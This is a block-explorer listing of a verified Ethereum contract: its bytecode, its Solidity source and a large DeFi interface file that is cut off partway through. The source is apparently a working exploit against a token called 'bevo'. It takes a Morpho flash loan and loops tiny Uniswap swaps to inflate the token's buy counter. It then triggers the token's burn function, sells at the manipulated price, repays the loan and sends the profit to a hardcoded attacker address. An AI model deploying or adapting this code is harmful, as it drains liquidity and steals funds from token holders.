Address Contract Verified
Address
0x4d9620F57C13972ccd4eA299226bbb73EbD0f46C
Balance
0.000000011 ETH ($0.00)
Nonce
1
Code Size
6136 bytes
Creator
0xa5C7AdC4...F14f at tx 0x6939723e...8c2cb9
Indexed Transactions
0 (1 on-chain, 1.6% indexed)
Contract Bytecode
6136 bytes
0x608060405260043610610037575f3560e01c80632e1a7d4d1461004257806331f570721461006a578063d40a71fb146100925761003e565b3661003e57005b5f5ffd5b34801561004d575f5ffd5b5061006860048036038101906100639190610f9c565b61009c565b005b348015610075575f5ffd5b50610090600480360381019061008b9190611103565b6101e4565b005b61009a610ae3565b005b8060038190555060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e0232b425f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000600160405160200161011d919061117d565b6040516020818303038152906040526040518463ffffffff1660e01b815260040161014a93929190611278565b5f604051808303815f87803b158015610161575f5ffd5b505af1158015610173573d5f5f3e3d5ffd5b505050504173ffffffffffffffffffffffffffffffffffffffff16633b9aca0060405161019f906112e1565b5f6040518083038185875af1925050503d805f81146101d9576040519150601f19603f3d011682016040523d82523d5f602084013e6101de565b606091505b50505050565b5f600267ffffffffffffffff811115610200576101ff610fdf565b5b60405190808252806020026020018201604052801561022e5781602001602082028036833780820191505090505b5090505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815f81518110610265576102646112f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106102d5576102d46112f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061fde860015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bccb46876040518163ffffffff1660e01b8152600401602060405180830381865afa15801561037c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103a09190611336565b101561045e575f5f90505b60035481101561045c57737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166338ed173960015f8530426040518663ffffffff1660e01b815260040161040b959493929190611499565b5f604051808303815f875af1158015610426573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f8201168201806040525081019061044e91906115b5565b5080806001019150506103ab565b505b61fde860015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bccb46876040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cb573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ef9190611336565b1115610ade5773a5c7adc427c6db09e5b34629e2a05ecef4e4f14f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610540575f5ffd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166338ed17395f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016105c991906115fc565b602060405180830381865afa1580156105e4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106089190611336565b5f8430426040518663ffffffff1660e01b815260040161062c959493929190611615565b5f604051808303815f875af1158015610647573d5f5f3e3d5ffd5b505050506040513d5f823e3d601f19601f8201168201806040525081019061066f91906115b5565b5060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166344df8e706040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156106d6575f5ffd5b505af11580156106e8573d5f5f3e3d5ffd5b505050505f600267ffffffffffffffff81111561070857610707610fdf565b5b6040519080825280602002602001820160405280156107365781602001602082028036833780820191505090505b50905060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16815f8151811061076e5761076d6112f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106107dd576107dc6112f5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d79560015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108a191906115fc565b602060405180830381865afa1580156108bc573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e09190611336565b5f8430426040518663ffffffff1660e01b8152600401610904959493929190611615565b5f604051808303815f87803b15801561091b575f5ffd5b505af115801561092d573d5f5f3e3d5ffd5b505050505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d68056bc75e2d631000005f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109d091906115fc565b602060405180830381865afa1580156109eb573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0f9190611336565b610a19919061169a565b6040518263ffffffff1660e01b8152600401610a3591906116cd565b5f604051808303815f87803b158015610a4c575f5ffd5b505af1158015610a5e573d5f5f3e3d5ffd5b5050505073a5c7adc427c6db09e5b34629e2a05ecef4e4f14f73ffffffffffffffffffffffffffffffffffffffff1647604051610a9a906112e1565b5f6040518083038185875af1925050503d805f8114610ad4576040519150601f19603f3d011682016040523d82523d5f602084013e610ad9565b606091505b505050505b505050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b49816fe737ef790d9bccc87989be0fdb88ffb955bec3d5e926040518263ffffffff1660e01b8152600401610b5191906115fc565b5f604051808303815f87803b158015610b68575f5ffd5b505af1158015610b7a573d5f5f3e3d5ffd5b5050505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aae455876040518163ffffffff1660e01b8152600401602060405180830381865afa158015610be8573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c0c9190611710565b60015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ce792919061173b565b6020604051808303815f875af1158015610d03573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d279190611797565b505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610db792919061173b565b6020604051808303815f875af1158015610dd3573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610df79190611797565b5060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e8892919061173b565b6020604051808303815f875af1158015610ea4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ec89190611797565b505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db06404a817c80047610f16919061169a565b6040518263ffffffff1660e01b81526004015f604051808303818588803b158015610f3f575f5ffd5b505af1158015610f51573d5f5f3e3d5ffd5b5050505050565b5f604051905090565b5f5ffd5b5f5ffd5b5f819050919050565b610f7b81610f69565b8114610f85575f5ffd5b50565b5f81359050610f9681610f72565b92915050565b5f60208284031215610fb157610fb0610f61565b5b5f610fbe84828501610f88565b91505092915050565b5f5ffd5b5f5ffd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61101582610fcf565b810181811067ffffffffffffffff8211171561103457611033610fdf565b5b80604052505050565b5f611046610f58565b9050611052828261100c565b919050565b5f67ffffffffffffffff82111561107157611070610fdf565b5b61107a82610fcf565b9050602081019050919050565b828183375f83830152505050565b5f6110a76110a284611057565b61103d565b9050828152602081018484840111156110c3576110c2610fcb565b5b6110ce848285611087565b509392505050565b5f82601f8301126110ea576110e9610fc7565b5b81356110fa848260208601611095565b91505092915050565b5f5f6040838503121561111957611118610f61565b5b5f61112685828601610f88565b925050602083013567ffffffffffffffff81111561114757611146610f65565b5b611153858286016110d6565b9150509250929050565b5f819050919050565b61117761117282610f69565b61115d565b82525050565b5f6111888284611166565b60208201915081905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6111c082611197565b9050919050565b6111d0816111b6565b82525050565b5f819050919050565b5f819050919050565b5f6112026111fd6111f8846111d6565b6111df565b610f69565b9050919050565b611212816111e8565b82525050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f61124a82611218565b6112548185611222565b9350611264818560208601611232565b61126d81610fcf565b840191505092915050565b5f60608201905061128b5f8301866111c7565b6112986020830185611209565b81810360408301526112aa8184611240565b9050949350505050565b5f81905092915050565b50565b5f6112cc5f836112b4565b91506112d7826112be565b5f82019050919050565b5f6112eb826112c1565b9150819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061133081610f72565b92915050565b5f6020828403121561134b5761134a610f61565b5b5f61135884828501611322565b91505092915050565b5f819050919050565b5f61138461137f61137a84611361565b6111df565b610f69565b9050919050565b6113948161136a565b82525050565b5f819050919050565b5f6113bd6113b86113b38461139a565b6111df565b610f69565b9050919050565b6113cd816113a3565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611405816111b6565b82525050565b5f61141683836113fc565b60208301905092915050565b5f602082019050919050565b5f611438826113d3565b61144281856113dd565b935061144d836113ed565b805f5b8381101561147d578151611464888261140b565b975061146f83611422565b925050600181019050611450565b5085935050505092915050565b61149381610f69565b82525050565b5f60a0820190506114ac5f83018861138b565b6114b960208301876113c4565b81810360408301526114cb818661142e565b90506114da60608301856111c7565b6114e7608083018461148a565b9695505050505050565b5f67ffffffffffffffff82111561150b5761150a610fdf565b5b602082029050602081019050919050565b5f5ffd5b5f61153261152d846114f1565b61103d565b905080838252602082019050602084028301858111156115555761155461151c565b5b835b8181101561157e578061156a8882611322565b845260208401935050602081019050611557565b5050509392505050565b5f82601f83011261159c5761159b610fc7565b5b81516115ac848260208601611520565b91505092915050565b5f602082840312156115ca576115c9610f61565b5b5f82015167ffffffffffffffff8111156115e7576115e6610f65565b5b6115f384828501611588565b91505092915050565b5f60208201905061160f5f8301846111c7565b92915050565b5f60a0820190506116285f83018861148a565b61163560208301876113c4565b8181036040830152611647818661142e565b905061165660608301856111c7565b611663608083018461148a565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6116a482610f69565b91506116af83610f69565b92508282039050818111156116c7576116c661166d565b5b92915050565b5f6020820190506116e05f83018461148a565b92915050565b6116ef816111b6565b81146116f9575f5ffd5b50565b5f8151905061170a816116e6565b92915050565b5f6020828403121561172557611724610f61565b5b5f611732848285016116fc565b91505092915050565b5f60408201905061174e5f8301856111c7565b61175b602083018461148a565b9392505050565b5f8115159050919050565b61177681611762565b8114611780575f5ffd5b50565b5f815190506117918161176d565b92915050565b5f602082840312156117ac576117ab610f61565b5b5f6117b984828501611783565b9150509291505056fea2646970667358221220dd387c7c1045a254d771aa8cd935f658e947a68f9fb6d621ae7d22e56a09cded64736f6c634300081e0033
Verified Source Code Full Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: No
muskito.sol 73 lines
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "./../interface.sol";
contract hello {
WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Router private constant router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
Staking bevo;
IMorphoBuleFlashLoan morpho = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
uint256 step;
IgetTargetAddress Iget=IgetTargetAddress(0x62d42b3b1f80F3887C75320D4ec71dE288F97B6c);
function step1()external payable {
Iget.SetTargetAdress(address(0x7eF790D9BCCC87989bE0Fdb88FFb955bec3d5E92));
bevo = Staking(Iget.targetAdress());
weth.approve(address(morpho), type(uint256).max);
weth.approve(address(router), type(uint256).max);
bevo.approve(address(router), type(uint256).max);
weth.deposit{value: address(this).balance - 20000000000}();
}
function withdraw(uint256 _step) external {
step = _step;
morpho.flashLoan(address(weth), 100 ether, abi.encodePacked(uint256(1)));
block.coinbase.call{value : 1000000000}("");
}
function onMorphoFlashLoan(uint256 x, bytes memory) external {
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(bevo);
if(bevo.buys() < 65000){
for (uint i = 0;i < step ;i++){
router.swapExactTokensForTokens (
1 , 0, path, address(this), block.timestamp
);
}
}
if(bevo.buys() > 65000){
require(msg.sender == address(0xa5C7AdC427c6db09E5B34629E2A05ECef4e4F14f));
router.swapExactTokensForTokens (
weth.balanceOf(address(this)) , 0, path, address(this), block.timestamp
);
bevo.burn();
address[] memory pathsell = new address[](2);
pathsell[0] = address(bevo);
pathsell[1] = address(weth);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens (
bevo.balanceOf(address(this)), 0, pathsell, address(this), block.timestamp
);
weth.withdraw(weth.balanceOf(address(this)) - 100 ether);
address(0xa5C7AdC427c6db09E5B34629E2A05ECef4e4F14f).call{value : address(this).balance}("");
}
}
receive() external payable { }
}
/* -------------------- Interface -------------------- */
interface Staking {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function buys()external view returns (uint256);
function burn() external;
}
interface.sol 1409 lines
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function withdraw(uint256 wad) external;
function deposit(uint256 wad) external returns (bool);
function owner() external view returns (address);
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function sync() external;
function skim(address to) external;
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
}
interface IFlashLoanRecipient {
function receiveFlashLoan(
IERC20[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external;
}
interface IFlash {
function flashLoan(address token, uint256 assets, bytes calldata data) external ;
function supply(
address asset,
uint256 amount,
address onBehalfOf,
uint16 referralCode
) external;
function withdraw(
address asset,
uint256 amount,
address to
) external returns (uint256) ;
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
function repay(
address asset,
uint256 amount,
uint256 interestRateMode,
address onBehalfOf
) external;
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external ;
}
interface WETH {
function approve(address guy, uint256 wad) external returns (bool);
function withdraw(uint256 wad)external;
function balanceOf(address account) external view returns (uint256);
function transfer(address dst, uint256 wad) external returns (bool);
function deposit() external payable;
}
interface IWETH is WETH{}
interface IERC777 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(
address owner
) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function send(address recipient, uint256 amount, bytes calldata data) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(
address operator
) external;
function revokeOperator(
address operator
) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
function operatorBurn(address account, uint256 amount, bytes calldata data, bytes calldata operatorData) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface Uni_Pair_V3 {
function token0() external view returns (address);
function token1() external view returns (address);
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external returns (int256 amount0, int256 amount1);
function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
interface Uni_Router_V3 {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
struct ExactInputParams {
bytes path;
address recipient;
uint256 amountIn;
uint256 amountOutMinimum;
}
struct ExactOutputParams {
bytes path;
address recipient;
uint256 amountOut;
uint256 amountInMaximum;
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to
) external payable returns (uint256 amountOut);
function exactInputSingle(
ExactInputSingleParams memory params
) external payable returns (uint256 amountOut);
function exactOutputSingle(
ExactOutputSingleParams calldata params
) external payable returns (uint256 amountIn);
function exactInput(
ExactInputParams memory params
) external payable returns (uint256 amountOut);
function exactOutput(
ExactOutputParams calldata params
) external payable returns (uint256 amountIn);
}
interface Uni_Router_V2 {
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function factory() external view returns (address);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapETHForExactTokens(
uint256 amountOut,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
// receive () external payable;
}
interface IPancakeCallee {
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;
}
interface IPancakePair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(
address owner
) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(
address owner
) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(
address to
) external returns (uint256 liquidity);
function burn(
address to
) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;
function skim(
address to
) external;
function sync() external;
function initialize(address, address) external;
}
interface IPancakeRouter {
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
function factory() external view returns (address);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts);
function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function swapETHForExactTokens(
uint256 amountOut,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external;
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] memory path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
receive() external payable;
}
interface WBNB {
function deposit() external payable;
function withdraw(uint256 wad) external;
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IBalancerVault {
enum SwapKind {
GIVEN_IN,
GIVEN_OUT
}
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
address assetIn;
address assetOut;
uint256 amount;
bytes userData;
}
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256 amountCalculated);
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
address[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external;
struct JoinPoolRequest {
address[] asset;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
struct ExitPoolRequest {
address[] asset;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external payable;
function flashLoan(
address recipient,
address[] memory tokens,
uint256[] memory amounts,
bytes memory userData
) external;
function getPoolTokens(
bytes32 poolId
